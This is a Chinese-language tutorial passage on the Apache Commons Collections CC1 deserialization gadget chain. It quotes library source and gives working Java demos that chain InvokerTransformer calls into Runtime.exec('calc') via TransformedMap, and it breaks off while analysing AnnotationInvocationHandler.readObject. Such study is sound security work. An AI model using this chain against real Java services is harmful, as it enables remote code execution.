![\"image-20240120021111300\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/p>\n
\u5230\u6b64\u6211\u4eec\u6240\u9700\u73af\u5883\u914d\u7f6e\u5b8c\u6210\uff0c\u4e0b\u9762\u5f00\u59cb\u8c03\u8bd5\u5206\u6790<\/p>\n
\u524d\u7f6e\u77e5\u8bc6<\/h1>\nTransformer\u63a5\u53e3<\/h2>\n
\u63a5\u53e3\u4ee3\u7801\u4e3a<\/p>\n
public interface Transformer {\n public Object transform(Object input);\n}<\/code><\/pre>\n\u8be5\u63a5\u53e3\u5b9e\u73b0\u4e86\u5bf9 \u5bf9\u8c61 \u7684\u8f6c\u5316\uff0c\u5bf9\u4f20\u5165\u7684\u5bf9\u8c61\u8fdb\u884c\u4e00\u4e9b\u64cd\u4f5c\uff0c\u7136\u540e\u5e76\u8fd4\u56de\u64cd\u4f5c\u5b8c\u7684\u5bf9\u8c61<\/p>\n
\u8be5\u63a5\u53e3\u7684\u91cd\u8981\u5b9e\u73b0\u6709\uff1a<\/p>\n
\n- ConstantTransformer<\/li>\n
- invokerTransformer<\/li>\n
- ChainedTransformer<\/li>\n
- TransformedMap<\/li>\n<\/ul>\n
\u8fd9\u4e9b\u5b9e\u73b0\u7684\u7c7b\u90fd\u4e0eCC\u94fe\u6709\u5173\uff0c\u4ee5\u4e0b\u662f\u5bf9\u8fd9\u4e9b\u5b9e\u73b0\u7684\u4ecb\u7ecd<\/p>\n
ConstantTransformer\u7c7b<\/h2>\n
ConstantTransformer\u7c7b\u7684\u4ee3\u7801\u4e3a<\/p>\n
public class ConstantTransformer implements Transformer, Serializable {\n public static Transformer getInstance(Object constantToReturn) {\n if (constantToReturn == null) {\n return NULL_INSTANCE;\n }\n return new ConstantTransformer(constantToReturn);\n }\n public ConstantTransformer(Object constantToReturn) {\n super();\n iConstant = constantToReturn;\n }\n public Object transform(Object input) {\n return iConstant;\n }\n public Object getConstant() {\n return iConstant;\n }\n}<\/code><\/pre>\n\u6211\u4eec\u7740\u91cd\u5206\u6790\u4e0bConstantTransformer\u6784\u9020\u65b9\u6cd5\u548ctransform\u65b9\u6cd5<\/p>\n
\u5176ConstantTransformer\u6784\u9020\u65b9\u6cd5\u63a5\u6536\u4efb\u610f\u7c7b\u578b\u5bf9\u8c61\uff0c\u5e76\u8d4b\u503c\u7ed9 iConstant \u53d8\u91cf\uff0c\u7136\u540e\u65e0\u8bba transform\u65b9\u6cd5\u63a5\u6536\u4ec0\u4e48 input \u53c2\u6570\uff0c\u5176\u90fd\u4f1a\u8fd4\u56de iConstant \u53d8\u91cf\uff0c\u4e5f\u5c31\u662f\u8bf4\u5047\u5982\u53ea\u8c03\u7528\u6784\u9020\u65b9\u6cd5\u548ctransform\u65b9\u6cd5\u7684\u8bdd\uff0c\u6211\u4eec\u4f20\u5165\u4ec0\u4e48\u5bf9\u8c61\uff0c\u5c31\u4f1a\u539f\u5c01\u4e0d\u52a8\u5730\u8fd4\u56de\u4ec0\u4e48\u5bf9\u8c61<\/p>\n
invokerTransformer\u7c7b<\/h2>\n
invokerTransformer\u7c7b\u7684\u4ee3\u7801\u4e3a<\/p>\n
public class InvokerTransformer implements Transformer, Serializable {\n private static final long serialVersionUID = -8653385846894047688L;\n private final String iMethodName;\n private final Class[] iParamTypes;\n private final Object[] iArgs;\n public static Transformer getInstance(String methodName) {\n if (methodName == null) {\n throw new IllegalArgumentException("The method to invoke must not be null");\n }\n return new InvokerTransformer(methodName);\n }\n public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {\n if (methodName == null) {\n throw new IllegalArgumentException("The method to invoke must not be null");\n }\n if (((paramTypes == null) && (args != null))\n || ((paramTypes != null) && (args == null))\n || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {\n throw new IllegalArgumentException("The parameter types must match the arguments");\n }\n if (paramTypes == null || paramTypes.length == 0) {\n return new InvokerTransformer(methodName);\n } else {\n paramTypes = (Class[]) paramTypes.clone();\n args = (Object[]) args.clone();\n return new InvokerTransformer(methodName, paramTypes, args);\n }\n }\n private InvokerTransformer(String methodName) {\n super();\n iMethodName = methodName;\n iParamTypes = null;\n iArgs = null;\n }\n public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {\n super();\n iMethodName = methodName;\n iParamTypes = paramTypes;\n iArgs = args;\n }\n public Object transform(Object input) {\n if (input == null) {\n return null;\n }\n try {\n Class cls = input.getClass();\n Method method = cls.getMethod(iMethodName, iParamTypes);\n return method.invoke(input, iArgs);\n\n } catch (NoSuchMethodException ex) {\n throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");\n } catch (IllegalAccessException ex) {\n throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");\n } catch (InvocationTargetException ex) {\n throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);\n }\n }\n\n}<\/code><\/pre>\n\u6211\u4eec\u540c\u6837\u5206\u6790\u4e0b InvokerTransformer\u6784\u9020\u65b9\u6cd5\u548ctransform\u65b9\u6cd5<\/p>\n
\u6784\u9020\u65b9\u6cd5\u4e3a<\/p>\n
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {\n super();\n iMethodName = methodName;\n iParamTypes = paramTypes;\n iArgs = args;\n }<\/code><\/pre>\n\u8be5\u65b9\u6cd5\u63a5\u65363\u4e2a\u53c2\u6570\uff0c\u5206\u522b\u4e3a \u65b9\u6cd5\u540d<\/strong>\uff0c\u65b9\u6cd5\u53c2\u6570\u7c7b\u578b\u8868<\/strong>\uff0c\u65b9\u6cd5\u53c2\u6570<\/strong>\uff0c\u5728\u6210\u529f\u63a5\u6536\u8fd9\u4e09\u4e2a\u53c2\u6570\u540e\uff0c\u4fbf\u4f1a\u8d4b\u503c\u7ed9\u5176\u6210\u5458\u53d8\u91cfiMethodName\uff0ciParamTypes\uff0ciArgs<\/p>\ntransform\u65b9\u6cd5\u4e3a<\/p>\n
public Object transform(Object input) {\n if (input == null) {\n return null;\n }\n try {\n Class cls = input.getClass();\n Method method = cls.getMethod(iMethodName, iParamTypes);\n return method.invoke(input, iArgs);\n\n } catch (NoSuchMethodException ex) {\n throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");\n } catch (IllegalAccessException ex) {\n throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");\n } catch (InvocationTargetException ex) {\n throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);\n }\n }<\/code><\/pre>\n\u8be5\u65b9\u6cd5\u9996\u5148\u9700\u8981\u63a5\u6536\u4e00\u4e2a\u540d\u4e3a input \u7684\u5bf9\u8c61\u53c2\u6570\uff0c\u5982\u679c\u8be5\u53c2\u6570\u4e0d\u5b58\u5728\u5219\u8fd4\u56deNULL\uff0c\u7136\u540e\u901a\u8fc7 getClass() \u65b9\u6cd5\u83b7\u53d6\u8be5\u5bf9\u8c61\u7684class\u5bf9\u8c61<\/strong>\u8d4b\u503c\u7ed9cls\uff0c\u7136\u540e\u53c8\u901a\u8fc7 getMethod() \u65b9\u6cd5\uff0c\u83b7\u53d6cls\u5bf9\u8c61\u4e2d\u6307\u5b9a\u53c2\u6570\u7c7b\u578b\u7684\u516c\u5171\u65b9\u6cd5\uff0c\u6700\u540e\u901a\u8fc7 invoke() \u65b9\u6cd5\u5bf9\u521a\u624d\u83b7\u53d6\u7684\u65b9\u6cd5\u4f20\u5165\u53c2\u6570iArgs\u5e76\u6267\u884c\uff0c\u6700\u540e\u8fd4\u56de\u6267\u884c\u7ed3\u679c\uff08\u57fa\u4e8e\u53cd\u5c04\u673a\u5236\u5b9e\u73b0<\/strong>\uff09\u3002<\/p>\nChainedTransformer\u7c7b<\/h2>\n
ChainedTransformer\u7c7b\u4ee3\u7801\u4e3a<\/p>\n
public class ChainedTransformer implements Transformer, Serializable {\n private static final long serialVersionUID = 3514945074733160196L;\n private final Transformer[] iTransformers;\n public static Transformer getInstance(Transformer[] transformers) {\n FunctorUtils.validate(transformers);\n if (transformers.length == 0) {\n return NOPTransformer.INSTANCE;\n }\n transformers = FunctorUtils.copy(transformers);\n return new ChainedTransformer(transformers);\n }\n public static Transformer getInstance(Collection transformers) {\n if (transformers == null) {\n throw new IllegalArgumentException("Transformer collection must not be null");\n }\n if (transformers.size() == 0) {\n return NOPTransformer.INSTANCE;\n }\n Transformer[] cmds = new Transformer[transformers.size()];\n int i = 0;\n for (Iterator it = transformers.iterator(); it.hasNext();) {\n cmds[i++] = (Transformer) it.next();\n }\n FunctorUtils.validate(cmds);\n return new ChainedTransformer(cmds);\n }\n public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {\n if (transformer1 == null || transformer2 == null) {\n throw new IllegalArgumentException("Transformers must not be null");\n }\n Transformer[] transformers = new Transformer[] { transformer1, transformer2 };\n return new ChainedTransformer(transformers);\n }\n public ChainedTransformer(Transformer[] transformers) {\n super();\n iTransformers = transformers;\n }\n public Object transform(Object object) {\n for (int i = 0; i < iTransformers.length; i++) {\n object = iTransformers[i].transform(object);\n }\n return object;\n }\n public Transformer[] getTransformers() {\n return iTransformers;\n }\n} <\/code><\/pre>\n\u6211\u4eec\u5206\u6790\u5176ChainedTransformer\u6784\u9020\u65b9\u6cd5\u548ctransform\u65b9\u6cd5<\/p>\n
\u9996\u5148\u6784\u9020\u65b9\u6cd5\u63a5\u6536\u4e00\u4e2aTransformer[]\u63a5\u53e3\u7c7b\u578b\u7684\u6570\u7ec4\uff0c\u5e76\u5c06\u5176\u8d4b\u503c\u7ed9\u6210\u5458\u53d8\u91cfiTransformers<\/p>\n
public ChainedTransformer(Transformer[] transformers) {\n super();\n iTransformers = transformers;\n}<\/code><\/pre>\n\u7136\u540etransform\u65b9\u6cd5\u4f1a\u5faa\u73af\u904d\u5386\u8be5Transformer\u6570\u7ec4\uff0c\u6267\u884c\u8be5\u6570\u7ec4\u6bcf\u4e00\u4e2a\u6210\u5458\u7684 transform \u65b9\u6cd5\uff0c\u5e76\u5c06\u6267\u884c\u7ed3\u679c\u4f5c\u4e3a\u4e0b\u4e00\u6b21 transform \u7684\u53c2\u6570\uff0c\u6700\u540e\u8fd4\u56de\u6700\u7ec8\u7684\u6267\u884c\u7ed3\u679c<\/p>\n
public Object transform(Object object) {\n for (int i = 0; i < iTransformers.length; i++) {\n object = iTransformers[i].transform(object);\n }\n return object;\n }<\/code><\/pre>\nChainedTransformer\u7c7b\u53ef\u4ee5\u8bf4\u975e\u5e38\u91cd\u8981\uff0c\u662fcc\u94fe\u7684\u6838\u5fc3\uff0c\u5b83\u53ef\u4ee5\u5c06\u6574\u6761cc\u94fe\u4e32\u8d77\u6765\uff0c\u8fdb\u884c\u94fe\u5f0f\u6267\u884c<\/p>\n
\u6784\u9020CC\u94fe1<\/h1>\nCC\u94fe1\u6838\u5fc3<\/h2>\n
cc\u94fe1\u7684\u6838\u5fc3\u5c31\u662f\u4ee5\u4e0b\u4ee3\u7801<\/p>\n
Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");\n\/\/\u901a\u8fc7Runtime\u7c7b\u7684getRuntime\u65b9\u6cd5\u7684exec\u51fd\u6570\u8fdb\u884c\u547d\u4ee4\u6267\u884c<\/code><\/pre>\ndemo1<\/h3>\n
\u5b9e\u73b0\u8fd9\u6761\u6838\u5fc3\u4ee3\u7801\u7684\u4fbf\u662f\u5982\u4e0btransform\u94fe<\/p>\n
package org.example;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\npublic class demo1{\n public static void main(String[] args) throws Exception{\n \/\/transformers: \u4e00\u4e2atransformer\u94fe\uff0c\u5305\u542b\u5404\u7c7btransformer\u5bf9\u8c61\uff08\u9884\u8bbe\u8f6c\u5316\u903b\u8f91\uff09\u7684\u8f6c\u5316\u6570\u7ec4\n Transformer[] transformers = new Transformer[]{\n new ConstantTransformer(Runtime.class),\n new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),\n new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),\n new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})\n };\n\n \/\/transformedChain: ChainedTransformer\u7c7b\u5bf9\u8c61\uff0c\u4f20\u5165transformers\u6570\u7ec4\uff0c\u53ef\u4ee5\u6309\u7167transformers\u6570\u7ec4\u7684\u903b\u8f91\u6267\u884c\u8f6c\u5316\u64cd\u4f5c\n ChainedTransformer transformerChain = new ChainedTransformer(transformers);\n transformerChain.transform(1);\/\/\u5b8c\u5168\u7684cc1\u9700\u8981\u627e\u5230\u54ea\u91cc\u53ef\u8c03\u7528transform\u65b9\u6cd5\n }\n}<\/code><\/pre>\n\u8be5\u65b9\u6cd5\u5b9a\u4e49\u4e86\u4e00\u4e2aTransformer\u63a5\u53e3\u7684\u6570\u7ec4\uff0c\u7136\u540e\u5c06\u8be5\u6570\u7ec4\u4f20\u9012\u7ed9 ChainedTransformer \u7c7b<\/p>\n
demo1\u5206\u6790<\/h3>\n
\u63a5\u4e0b\u6765\u6211\u4eec\u6765\u9010\u6761\u5206\u6790\u4e00\u4e0b<\/p>\n
\u9996\u5148 transformerChain\u5bf9\u8c61\u8c03\u7528\u4e86transform\u65b9\u6cd5\uff08\u4f20\u5165\u53c2\u65701\uff09\uff0c\u5f00\u59cb\u5faa\u73af\u904d\u5386 transformers \u6570\u7ec4<\/p>\n
\u7b2c\u4e00\u6b21\u904d\u5386\uff1a<\/strong><\/p>\n\u6267\u884c<\/p>\n
ConstantTransformer(Runtime.class).transform(1)<\/code><\/pre>\n\n\u56e0\u4e3a Runtime \u4e3a\u5355\u4f8b\u7c7b\uff0c\u4e0d\u80fd\u76f4\u63a5\u5b9e\u4f8b\u5316\uff0c\u6240\u4ee5\u8981\u901a\u8fc7\u53cd\u5c04\u7684\u65b9\u6cd5\u83b7\u53d6<\/p>\n<\/blockquote>\n
\u7531\u4e8eConstantTransformer\u7684transform\u65b9\u6cd5\u4e0d\u53d7\u4f20\u5165\u53c2\u6570\u7684\u5f71\u54cd<\/strong>\uff0c\u6545\u8fd4\u56de\u503c\u8fd8\u662f Runtime.class<\/code><\/p>\n\u7b2c\u4e8c\u6b21\u904d\u5386\uff1a<\/strong><\/p>\n\u5c06\u4e0a\u4e00\u6b21\u7684\u7ed3\u679c Runtime.class<\/code>\u5e26\u5165\u672c\u6b21transform\uff0c\u6267\u884c<\/p>\nInvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(Runtime.class)<\/code><\/pre>\n\u5f97\u5230\u8fd4\u56de\u7ed3\u679c\u4e3a<\/p>\n
Runtime.class.getMethod("getRuntime")<\/code><\/pre>\n\u7b2c\u4e09\u6b21\u904d\u5386\uff1a<\/strong><\/p>\n\u5c06\u4e0a\u4e00\u6b21\u7ed3\u679cRuntime.class.getMethod("getRuntime")<\/code>\u5e26\u5165\u672c\u6b21transform\uff0c\u6267\u884c<\/p>\nInvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(Runtime.class.getMethod("getRuntime"))<\/code><\/pre>\n\u5f97\u5230\u8fd4\u56de\u7ed3\u679c\u4e3a<\/p>\n
Runtime.class.getMethod("getRuntime").invoke(null)<\/code><\/pre>\n\u7b2c\u56db\u6b21\u904d\u5386\uff1a<\/strong><\/p>\n\u5c06\u4e0a\u4e00\u6b21\u7ed3\u679cRuntime.class.getMethod("getRuntime").invoke(null)<\/code>\u5e26\u5165\u672c\u6b21transform\uff0c\u6267\u884c<\/p>\nInvokerTransformer("exec", new Class[]{String.class}, new Object[{"calc"}).transform(Runtime.class.getMethod("getRuntime").invoke(null))<\/code><\/pre>\n\u5f97\u5230\u6700\u7ec8\u6267\u884c\u7ed3\u679c\u4e3a<\/p>\n
Runtime.class.getMethod("getRuntime").invoke(null).exec("calc")<\/code><\/pre>\n\u6211\u4eec\u8fd0\u884c\uff0c\u53ef\u4ee5\u770b\u5230\u6210\u529f\u5f39\u51fa\u8ba1\u7b97\u5668<\/p>\n
<\/div><\/p>\n
\u5bfb\u627e\u5982\u4f55\u89e6\u53d1CC\u94fe1\u6838\u5fc3<\/h2>\nTransformedMap\u7c7b<\/h3>\n
\u6211\u4eec\u9009\u4e2dtransform()\u65b9\u6cd5\uff0c\u67e5\u770b\u54ea\u91cc\u5bf9\u5176\u8fdb\u884c\u4e86\u8c03\u7528<\/p>\n
<\/div><\/p>\n
\u53d1\u73b0TransformedMap\u7c7b<\/strong>\u4e2d\u7684checkSetValue\u65b9\u6cd5<\/strong>\u5bf9\u5176\u8fdb\u884c\u4e86\u8c03\u7528\uff0c\u5e76\u8fd4\u56de<\/p>\n<\/div><\/p>\n
\u8be5\u65b9\u6cd5\u5b9a\u4e49\u5982\u4e0b<\/p>\n
protected Object checkSetValue(Object value) {\n return valueTransformer.transform(value);\n}<\/code><\/pre>\n\u6240\u4ee5\u6211\u4eec\u53ea\u9700\u5c06TransformedMap\u7c7b\u4e2d\u7684valueTransformer\u5c5e\u6027<\/strong>\u8d4b\u503c\u4e3aChainedTransformer<\/strong>\uff08\u4e0a\u4e00\u6b65\u7684\u6838\u5fc3\u94fe\uff09\uff0c\u7136\u540e\u8c03\u7528\u5b83\u7684checkSetValue<\/strong>\u65b9\u6cd5\uff0c\u4ece\u800c\u89e6\u53d1ChainedTransformer\u7684transform\u65b9\u6cd5\uff0c\u5bf9Transformer\u6570\u7ec4\u8fdb\u884c\u904d\u5386\u5faa\u73af\uff0c\u5373\u53ef\u8fdb\u884c\u4ee3\u7801\u6267\u884c<\/p>\n\u4f46\u662f\u6211\u4eec\u5411\u4e0a\u627e\u5230TransformedMap\u7c7b\u7684\u6784\u9020\u65b9\u6cd5\uff0c\u5982\u4e0b<\/p>\n
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {\n super(map);\n this.keyTransformer = keyTransformer;\n this.valueTransformer = valueTransformer;\n}<\/code><\/pre>\n\u53d1\u73b0\u6784\u9020\u53d1\u73b0\u662f protected \u7c7b\u578b\u7684\uff0c\u5e76\u4e0d\u80fd\u76f4\u63a5new\u5b9e\u4f8b\u5316\uff0c\u4f46\u6211\u4eec\u53d1\u73b0\u4e86\u5176 decorate<\/strong> \u9759\u6001\u65b9\u6cd5\uff0c\u5982\u4e0b<\/p>\npublic static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {\n return new TransformedMap(map, keyTransformer, valueTransformer);\n}<\/code><\/pre>\n\u901a\u8fc7\u5206\u6790\uff0c\u6211\u4eec\u53d1\u73b0\u6211\u4eec\u53ea\u9700\u8c03\u7528TransformedMap\u7c7b\u7684\u9759\u6001\u65b9\u6cd5decorate\uff0c\u5373\u53ef\u5f97\u5230\u4e00\u4e2a\u53ef\u81ea\u5b9a\u4e49\u5c5e\u6027(\u5305\u62ecvalueTransformer)\u7684TransformedMap\u5bf9\u8c61<\/p>\n
\u8fd9\u6837\u6211\u4eec\u8c03\u7528checkSetValue\u65b9\u6cd5\u65f6\uff0ctransform\u65b9\u6cd5 \u6267\u884c\u7684\u5bf9\u8c61<\/strong>\u8d4b\u503c\u7684\u95ee\u9898\u4fbf\u89e3\u51b3\u4e86<\/p>\nAbstractInputCheckedMapDecorator\u7c7b<\/h3>\n
\u63a5\u4e0b\u6765\u6211\u4eec\u4fbf\u5bfb\u627e\u90a3\u91cc\u8c03\u7528\u4e86 checkSetValue\u65b9\u6cd5\uff0c\u540c\u6837\u901a\u8fc7\uff08Alt+F7\uff09\uff0c\u67e5\u627e\u7528\u6cd5<\/p>\n
\u8fd9\u91cc\u53ea\u627e\u5230\u4e00\u5904\u5f15\u7528<\/p>\n
<\/div><\/p>\n
\u5728 AbstractInputCheckedMapDecorator\u7c7b<\/strong>\u7684setValue\u65b9\u6cd5<\/strong>\u4e2d\uff0c\u8be5\u65b9\u6cd5\u5982\u4e0b<\/p>\n public Object setValue(Object value) {\n value = parent.checkSetValue(value);\n return entry.setValue(value);\n }<\/code><\/pre>\n\u4e5f\u5c31\u662f\u6211\u4eec\u5728\u6267\u884csetValue\u65b9\u6cd5\u65f6\u4fbf\u4f1a\u89e6\u53d1cc\u94fe1<\/p>\n
\u540c\u65f6\u6211\u4eec\u53d1\u73b0 TransformedMap<\/strong>\u7c7b\uff08\u4e0a\u6587\u542b\u6709checkSetValue\u548cdecorate\u65b9\u6cd5\u7684\u7c7b<\/em>\uff09\u662fAbstractInputCheckedMapDecorator<\/strong>\u7c7b\u7684\u5b50\u7c7b<\/p>\npublic class TransformedMap\n extends AbstractInputCheckedMapDecorator\n\u2026\u2026<\/code><\/pre>\n\u5e76\u4e14AbstractInputCheckedMapDecorator<\/strong>\u7c7b\u91cd\u5199\u4e86Map.Entry<\/strong>\u7684setValue<\/strong>\u65b9\u6cd5\uff0c\u5177\u4f53\u7ee7\u627f\u5173\u7cfb\u7531\u4e0b\u56fe\u6240\u793a<\/p>\n<\/div>
\n
<\/div><\/p>\n
\u6240\u4ee5\u5f53\u6211\u4eec\u8c03\u7528<\/strong>\u7531TransformedMap<\/strong>\u7c7b\u88c5\u9970\u7684Map<\/strong>\uff08\u952e\u503c\u5bf9\u96c6\u5408\uff09\uff0c\u5176Map.Entry<\/strong>\uff08\u952e\u503c\u5bf9\uff09\u7684setValue<\/strong>\u65b9\u6cd5\u65f6\uff0c\u8c03\u7528\u7684\u4fbf\u662f\u5b83\u7684\u7236\u7c7bAbstractInputCheckedMapDecorator<\/strong>\u7c7b\u91cd\u5199\u7684setValue<\/strong>\u65b9\u6cd5\uff0c\u4fbf\u4f1a\u89e6\u53d1 checkSetValue\u65b9\u6cd5<\/strong>\uff0c\u4ece\u800c\u89e6\u53d1cc\u94fe1<\/p>\n\u6211\u4eec\u5199\u4e00\u4e2a\u8fd9\u6837\u7684\u4f8b\u5b50\uff0c\u904d\u5386TransformedMap<\/strong>\u7c7b\u88c5\u9970\u7684Map<\/strong>\u7684Entry<\/p>\npackage org.example;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.TransformedMap;\nimport java.util.HashMap;\nimport java.util.Map;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\npublic class demo2 {\n public static void main(String[] args) throws Exception {\n Transformer[] transformers = new Transformer[]{\n new ConstantTransformer(Runtime.class),\n new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),\n new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),\n new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})\n };\n ChainedTransformer transformerChain = new ChainedTransformer(transformers);\n\n HashMap<Object, Object> map = new HashMap<>();\n map.put("key","value");\n \/\/\u521b\u5efaTransformedMap\u7c7b\u88c5\u9970\u7684Map\n Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);\n for (Map.Entry entry:transformedMap.entrySet()){\n entry.setValue(1);\n }\n }\n}<\/code><\/pre>\nreadObject<\/strong>\u65b9\u6cd5<\/h3>\n\u7136\u540e\u6211\u4eec\u518d\u5bfb\u627e\u54ea\u91cc\u8c03\u7528\u4e86setValue<\/strong>\u65b9\u6cd5\uff0c\u540c\u6837 Alt+F7\u5feb\u6377\u952e\u9009\u4e2d\u67e5\u627e\u5f15\u7528<\/p>\n\u6211\u4eec\u5728AnnotationInvocationHandler\u7c7b<\/strong>\u7684readObject<\/strong>\u65b9\u6cd5\u4e2d\u627e\u5230\u4e86\u5bf9setValue<\/strong>\u65b9\u6cd5\u7684\u5f15\u7528\uff0c\u597d\u50cf\u627e\u5230\u4e86\u8fd9\u6761cc\u94fe1\u7684\u53cd\u5e8f\u5217\u5316\u8d77\u70b9\uff0c\u63a5\u4e0b\u6765\u6211\u4eec\u5177\u4f53\u5206\u6790\u4e0b<\/p>\n<\/div><\/p>\n
readObject\u65b9\u6cd5\u4ee3\u7801\u5982\u4e0b<\/p>\n
private void readObject(java.io.ObjectInputStream s)\n throws java.io.IOException, ClassNotFoundException {\n s.defaultReadObject();\n AnnotationType annotationType = null;\n try {\n annotationType = AnnotationType.getInstance(type);\n } catch(IllegalArgumentException e) {\n throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");\n }\n Map<String, Class<?>> memberTypes = annotationType.memberTypes();\n for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {\n String name = memberValue.getKey();\n Class<?> memberType = memberTypes.get(name);\n if (memberType != null) { \n Object value = memberValue.getValue();\n if (!(memberType.isInstance(value) ||\n value instanceof ExceptionProxy)) {\n memberValue.setValue(\n new AnnotationTypeMismatchExceptionProxy(\n value.getClass() + "[" + value + "]").setMember(\n annotationType.members().get(name)));\n }\n }\n }\n }<\/code><\/pre>\n\u6211\u4eec\u53d1\u73b0\u9700\u8981\u5229\u7528\u7684\u6838\u5fc3\u4ee3\u7801\u4e3b\u8981\u5982\u4e0b<\/p>\n
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {\n String name = memberValue.getKey();\n Class<?> memberType = memberTypes.get(name);\n if (memberType != null) { \n Object value = memberValue.getValue();\n if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)){\n memberValue.setValue(\n new AnnotationTypeMismatchExceptionProxy(\n value.getClass() + "[" + value + "]").setMember(\n annotationType.members().get(name)));\n }\n }\n }<\/code><\/pre>\n\u7ecf\u5206\u6790\u5f97\uff0c\u6211\u4eec\u9996\u5148\u9700\u8981\u6ee1\u8db3\u4e24\u91cdif\u8bed\u53e5\uff0c\u7136\u540e\u624d\u53ef\u4ee5\u5bf9\u8be5Map.Entry<\/strong>\u6267\u884csetValue<\/strong>\u65b9\u6cd5<\/p>\n\n\u8fd9\u91cc\u5f3a\u8c03\u4e00\u4e0b\uff0c\u867d\u7136\u8fd9\u91cc\u7684setValue\u65b9\u6cd5\u5e26\u4e00\u4e2a\u521d\u59cb\u503c\uff0c\u4f46\u6211\u4eecConstantTransformer\u7c7b\u7684transform\u65b9\u6cd5\uff0c\u4e0d\u53d7\u53c2\u6570\u5f71\u54cd\uff0c\u6784\u9020\u65b9\u6cd5\u4f20\u5165\u4ec0\u4e48\uff0c\u5c31\u539f\u5c01\u4e0d\u52a8\u8fd4\u56de\u4ec0\u4e48<\/p>\n<\/blockquote>\n
\u7b2c\u4e00\u91cdif<\/p>\n
if (memberType != null)<\/code><\/pre>\nmemberType\u7531\u4ee5\u4e0b\u5173\u952e\u4ee3\u7801\u83b7\u5f97<\/p>\n
annotationType = AnnotationType.getInstance(type);\/\/\u83b7\u53d6\u4f20\u5165\u7684class\u5bf9\u8c61\u7684\u6210\u5458\u7c7b\u578b\u4fe1\u606f\uff0ctype\u662f\u6784\u9020\u65b9\u6cd5\u4f20\u7684class\u5bf9\u8c61\nMap<String, Class<?>> memberTypes = annotationType.memberTypes();\/\/\u83b7\u53d6\u4f20\u5165\u7684Class\u5bf9\u8c61\u7c7b\u4e2d\u7684\u6210\u5458\u540d\u548c\u7c7b\u578b \nString name = memberValue.getKey(); \/\/\u83b7\u53d6Map\u952e\u503c\u5bf9\u4e2d\u7684\u952e\u540d\uff08\u6210\u5458\u540d\uff09\nClass<?> memberType = memberTypes.get(name);\/\/\u83b7\u53d6\u4f20\u5165\u7684Class\u5bf9\u8c61\u4e2d\u5bf9\u5e94Map\u4e2d\u6210\u5458\u540d\u7684\u7c7b\u578b<\/code><\/pre>\n\u6240\u4ee5\u6211\u4eec\u4f20\u5165\u7684class\u5bf9\u8c61\u4e2d\u8981\u5177\u6709\u4f20\u5165\u7684Map\u4e2d\u7684\u952e\u540d\u6210\u5458<\/strong>\uff08\u800c\u4e14\u8981\u4e3aAnnotation\u7c7b\u7684\u5b50\u7c7b\uff0c\u4e0b\u9762\u6709\u8bb2\uff09<\/p>\n\u4e3e\u4e2a\u4f8b\u5b50<\/p>\n
\u5047\u5982\u4f20\u5165Map\u5982\u4e0b\nHashMap<Object,Object> hash = new HashMap<>();\nhash.put("value",'b');\n\u5219\u6211\u4eec\u4f20\u5165\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\uff0c\u4e5f\u5c31\u662fclass\u5bf9\u8c61\u4e2d\u5fc5\u987b\u6709\u4e00\u4e2a\u540d\u4e3avalue\u7684\u6210\u5458\uff0c\u8fd9\u4e2a\u6210\u5458\u53ef\u4ee5\u662f\u5c5e\u6027\u4e5f\u53ef\u4ee5\u662f\u65b9\u6cd5 <\/code><\/pre>\n\u7b2c\u4e8c\u91cdif<\/p>\n
